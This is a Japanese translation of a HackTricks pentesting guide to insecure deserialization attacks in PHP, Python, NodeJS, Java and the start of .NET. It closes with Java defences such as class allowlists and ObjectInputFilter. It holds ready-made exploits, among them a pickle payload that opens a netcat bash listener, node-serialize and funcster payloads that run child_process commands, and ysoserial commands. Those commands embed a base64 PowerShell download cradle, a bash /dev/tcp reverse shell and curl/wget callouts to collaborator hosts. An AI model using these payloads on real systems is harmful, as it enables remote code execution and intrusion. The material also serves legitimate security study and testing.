デシリアライズ
Reading time: 61 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
シリアライズは、オブジェクトを保存可能な形式に変換する方法として理解されており、オブジェクトを保存するか、通信プロセスの一部として送信することを意図しています。この技術は、オブジェクトが後で再作成できるようにし、その構造と状態を維持するために一般的に使用されます。
デシリアライズは、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライズは危険である可能性があります。なぜなら、攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。
PHP
PHPでは、シリアライズおよびデシリアライズプロセス中に特定のマジックメソッドが利用されます:
__sleep
: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。__wakeup
: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。__unserialize
: オブジェクトがデシリアライズされるときに、__wakeup
の代わりに呼び出されるメソッドです。__wakeup
に比べてデシリアライズプロセスに対する制御が強化されます。__destruct
: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。__toString
: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
結果を見ると、オブジェクトがデシリアライズされるときに関数 __wakeup
と __destruct
が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると __toString
関数が呼び出されるとされていますが、どうやらそれは もう起こっていない ようです。
warning
メソッド __unserialize(array $data)
は、クラスに実装されている場合、__wakeup()
の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// デシリアライズ時に必要なタスクを実行します。
}
}
説明された PHPの例をこちらで読むことができます: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/、こちら https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf またはこちら https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます:
PHP - Deserialization + Autoload Classes
参照値のシリアライズ
何らかの理由で、別のシリアライズされた値への参照として値をシリアライズしたい場合は、次のようにできます:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
PHPGGC (ysoserial for PHP)
PHPGGC は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、外部 PHP 拡張のコードを悪用できるかもしれません。
ですので、可能であればサーバーの phpinfo()
を確認し、インターネットで検索(さらには PHPGGC の gadgets も)して、悪用できる可能性のあるガジェットを探してください。
phar:// メタデータデシリアライズ
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()** のような関数を使用している場合、phar プロトコルを使用して ファイル を 読み取る ときに発生する デシリアライズ を悪用しようとすることができます。
詳細については、以下の投稿をお読みください:
Python
Pickle
オブジェクトがアンピクルされると、関数 ___reduce___ が実行されます。
悪用されると、サーバーはエラーを返す可能性があります。
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
以下の手法を確認する前に、print(base64.b64encode(pickle.dumps(P(),2)))
を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
pickle jailからの脱出に関する詳細情報は、以下を確認してください:
Yaml & jsonpickle
以下のページでは、Pythonライブラリの不安全なデシリアライズを悪用する手法を紹介し、Pickle, PyYAML, jsonpickle, ruamel.yamlのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくります:
クラス汚染 (Pythonプロトタイプ汚染)
Class Pollution (Python's Prototype Pollution)
NodeJS
JSマジック関数
JSは、オブジェクトを作成するためだけに実行される**"マジック"関数を持っていませんが、toString
、valueOf
、toJSON
のように、直接呼び出さなくても頻繁に使用される関数があります。
デシリアライズを悪用する場合、これらの関数を妥協して他のコードを実行**させることができれば、呼び出されたときに任意のコードを実行できます。
関数を直接呼び出さずに呼び出す別の"マジック"な方法は、非同期関数(プロミス)によって返されるオブジェクトを妥協することです。なぜなら、その返されるオブジェクトを**"then"という関数型のプロパティを持つ別のプロミスに変換すると、別のプロミスによって返されるために実行される**からです。詳細については このリンク を参照してください。
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__
と prototype
の汚染
この技術について学びたい場合は、次のチュートリアルを参照してください:
NodeJS - proto & prototype Pollution
node-serialize
このライブラリは関数をシリアライズすることを可能にします。例:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
シリアライズされたオブジェクトは次のようになります:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
関数がシリアライズされると、シリアライズされたオブジェクトに _$$ND_FUNC$$_
フラグが追加されることが例からわかります。
ファイル node-serialize/lib/serialize.js
内で、同じフラグとそのコードの使用方法を見つけることができます。
最後のコードのチャンクで見られるように、フラグが見つかった場合、eval
が関数をデシリアライズするために使用されるので、基本的に ユーザー入力が eval
関数内で使用されていることになります。
しかし、関数をシリアライズするだけではそれを実行することはありません。なぜなら、コードの一部が**y.rce
を呼び出す必要があるからで、これは非常にありそうにありません**。
それでも、シリアライズされたオブジェクトを修正して、いくつかの括弧を追加することで、オブジェクトがデシリアライズされたときにシリアライズされた関数を自動的に実行させることができます。
次のコードのチャンクで、最後の括弧と、unserialize
関数がどのように自動的にコードを実行するかに注意してください:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
以前に示したように、このライブラリは_$$ND_FUNC$$_
の後のコードを取得し、実行します。したがって、コードを自動実行するためには、関数の作成部分と最後の括弧を削除し、次の例のようにJSのワンライナーを実行することができます:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
ここで詳細情報を見つけることができます。この脆弱性を悪用する方法について。
funcster
funcsterの注目すべき点は、標準の組み込みオブジェクトへのアクセスができないことです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、console.log()
やrequire(something)
のようなコマンドを使用すると、"ReferenceError: console is not defined"
のような例外が発生します。
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
詳細については、このソースを読む。
serialize-javascript
serialize-javascript パッケージは、シリアル化専用に設計されており、組み込みのデシリアル化機能はありません。ユーザーはデシリアル化のための独自のメソッドを実装する責任があります。シリアル化されたデータをデシリアル化するための公式の例では、eval
の直接使用が推奨されています:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは簡単にそれを悪用できます:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
詳細についてはこのソースを読んでください more information read this source.
Cryoライブラリ
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
Javaでは、デシリアライズコールバックはデシリアライズプロセス中に実行されます。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。
フィンガープリント
ホワイトボックス
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください:
Serializable
インターフェースを実装しているクラス。java.io.ObjectInputStream
、readObject
、readUnshare
関数の使用。
特に注意を払うべき点:
- 外部ユーザーによって定義されたパラメータで使用される
XMLDecoder
。 XStream
のfromXML
メソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。readObject
メソッドと組み合わされたObjectInputStream
。readObject
、readObjectNodData
、readResolve
、またはreadExternal
などのメソッドの実装。ObjectInputStream.readUnshared
。Serializable
の一般的な使用。
ブラックボックス
ブラックボックステストでは、Javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください(ObjectInputStream
から発生):
- 16進パターン:
AC ED 00 05
。 - Base64パターン:
rO0
。 Content-type
がapplication/x-java-serialized-object
に設定されたHTTPレスポンスヘッダー。- 以前の圧縮を示す16進パターン:
1F 8B 08 00
。 - 以前の圧縮を示すBase64パターン:
H4sIA
。 .faces
拡張子を持つWebファイルとfaces.ViewState
パラメータ。これらのパターンをWebアプリケーションで発見した場合、Java JSF ViewState Deserializationに関する投稿に詳述されているように調査を促すべきです。
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
脆弱性の確認
Javaのデシリアライズ攻撃がどのように機能するかを学びたい場合は、Basic Java Deserialization、Java DNS Deserialization、およびCommonsCollection1 Payloadを確認してください。
ホワイトボックステスト
既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
あなたは、Ysoserialがエクスプロイトを提供できる脆弱性のあるすべてのライブラリをチェックすることができます。または、Java-Deserialization-Cheat-Sheetに示されているライブラリを確認することもできます。
また、gadgetinspectorを使用して、エクスプロイト可能な可能性のあるガジェットチェーンを検索することもできます。
gadgetinspectorを実行する際(ビルド後)は、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください。
ブラックボックステスト
Burp拡張機能gadgetprobeを使用すると、どのライブラリが利用可能か(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするためのペイロードを選択しやすくなります。
GadgetProbeについて詳しく学ぶにはこちらをお読みください。
GadgetProbeは**ObjectInputStream
のデシリアライズ**に焦点を当てています。
Burp拡張機能Java Deserialization Scannerを使用すると、ysoserialでエクスプロイト可能な脆弱なライブラリを特定し、それらをエクスプロイトできます。
Java Deserialization Scannerについて詳しく学ぶにはこちらをお読みください。
Java Deserialization Scannerは**ObjectInputStream
**のデシリアライズに焦点を当てています。
Freddyを使用して、Burp内のデシリアライズの脆弱性を検出することもできます。このプラグインは、ObjectInputStream
に関連する脆弱性だけでなく、JsonおよびYmlデシリアライズライブラリの脆弱性も検出します。アクティブモードでは、スリープまたはDNSペイロードを使用して確認を試みます。
Freddyについての詳細情報はこちらで確認できます。
シリアライズテスト
サーバーによって使用されている脆弱なライブラリを確認するだけではありません。時には、シリアライズされたオブジェクト内のデータを変更していくつかのチェックをバイパスすることができるかもしれません(ウェブアプリ内で管理者権限を付与するかもしれません)。
ウェブアプリケーションに送信されるJavaシリアライズオブジェクトを見つけた場合、**SerializationDumper**を使用して、送信されるシリアライズオブジェクトをより人間が読みやすい形式で印刷することができます。送信しているデータを知ることで、それを変更していくつかのチェックをバイパスするのが容易になります。
エクスプロイト
ysoserial
Javaデシリアライズをエクスプロイトするための主なツールはysoserialです(こちらからダウンロード)。また、複雑なコマンド(例えばパイプを使用)を使用できるysoseral-modifiedの使用も検討できます。
このツールは**ObjectInputStream
のエクスプロイトに焦点を当てていることに注意してください。
私はRCEペイロードの前に「URLDNS」ペイロードを使用して、注入が可能かどうかをテストすることをお勧めします**。いずれにせよ、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることに注意してください。
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
java.lang.Runtime.exec() のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような 特殊文字 を使用することはできません。また、コマンドを実行するために "$()" を使用したり、スペース で区切られた 引数 をコマンドに渡すこともできません(echo -n "hello world"
は可能ですが、python2 -c 'print "Hello world"'
はできません)。ペイロードを正しくエンコードするために、このウェブページ を使用することができます。
次のスクリプトを使用して、Windows と Linux の すべての可能なコード実行 ペイロードを作成し、脆弱なウェブページでテストしてください:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec は、JavaのさまざまなJsonおよびYmlシリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。
プロジェクトをコンパイルするために、pom.xml
にこの依存関係を追加する必要がありました:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Mavenをインストールし、プロジェクトをコンパイルします:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
このJava JSONライブラリについての詳細は、こちらを参照してください: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- いくつかのysoserialペイロードをテストしたい場合は、このウェブアプリを実行できます: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Javaはさまざまな目的で多くのシリアル化を使用します:
- HTTPリクエスト: シリアル化は、パラメータ、ViewState、クッキーなどの管理に広く使用されています。
- RMI (Remote Method Invocation): Java RMIプロトコルは、シリアル化に完全に依存しており、Javaアプリケーションにおけるリモート通信の基盤です。
- RMI over HTTP: この方法は、Javaベースの厚いクライアントウェブアプリケーションによく使用され、すべてのオブジェクト通信にシリアル化を利用します。
- JMX (Java Management Extensions): JMXは、ネットワーク上でオブジェクトを送信するためにシリアル化を利用します。
- カスタムプロトコル: Javaでは、標準的な慣行として、生のJavaオブジェクトの送信が含まれ、今後のエクスプロイト例で示されます。
Prevention
Transient objects
Serializable
を実装するクラスは、シリアル化されるべきでないクラス内の任意のオブジェクトをtransient
として実装できます。例えば:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Serializableを実装する必要があるクラスのシリアライズを避ける
特定の**オブジェクトがクラス階層のためにSerializable
**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローするfinal
なreadObject()
メソッドを定義することで、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Javaにおけるデシリアライズセキュリティの強化
java.io.ObjectInputStream
のカスタマイズは、デシリアライズプロセスを保護するための実用的なアプローチです。この方法は次の場合に適しています:
- デシリアライズコードがあなたの管理下にある。
- デシリアライズのために期待されるクラスが知られている。
**resolveClass()
**メソッドをオーバーライドして、許可されたクラスのみにデシリアライズを制限します。これにより、明示的に許可されたクラス以外のデシリアライズが防止されます。以下の例では、デシリアライズをBicycle
クラスのみに制限しています:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
セキュリティ強化のためのJavaエージェントの使用は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に有害なクラスのブラックリスト化に適用され、JVMパラメータを使用します:
-javaagent:name-of-agent.jar
動的にデシリアライズを保護する方法を提供し、即時のコード変更が実用的でない環境に最適です。
rO0 by Contrast Securityの例を確認してください。
シリアライゼーションフィルターの実装: Java 9では、**ObjectInputFilter
**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
外部ライブラリを活用したセキュリティの強化: NotSoSerial、jdeserialize、およびKryoなどのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
- NotSoSerialは、信頼できないコードの実行を防ぐためにデシリアライズプロセスをインターセプトします。
- jdeserializeは、シリアライズされたJavaオブジェクトをデシリアライズせずに分析することを可能にし、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
- Kryoは、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
参考文献
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- デシリアライズとysoserialのトーク: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- gadgetinspectorについてのトーク: https://www.youtube.com/watch?v=wPbW6zQ52w8 およびスライド: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec論文: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Javaと.NetのJSONデシリアライズ 論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, トーク: https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- デシリアライズのCVE: https://paper.seebug.org/123/
JNDIインジェクション & log4Shell
JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか(およびこの脆弱性の例)については、以下のページを参照してください。
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Javaメッセージサービス
Javaメッセージサービス(JMS)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にすることを可能にします。(出典: Wikipedia)。
製品
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
悪用
基本的に、危険な方法でJMSを使用しているサービスが多数存在します。したがって、これらのサービスにメッセージを送信するための十分な権限がある場合(通常は有効な資格情報が必要です)、デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります。
これは、この悪用において、そのメッセージを使用するすべてのクライアントが感染することを意味します。
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するためには有効なガジェットを見つける必要があることを忘れないでください。
ツールJMETは、既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信することで、これらのサービスに接続して攻撃するために作成されました。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
参考文献
- JMETトーク: https://www.youtube.com/watch?v=0h8DWiOWGGA
- スライド: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがデシリアライズ中に特定のコードを実行するために悪用されます。
フィンガープリンティング
ホワイトボックス
ソースコード内で以下の出現を検査する必要があります:
TypeNameHandling
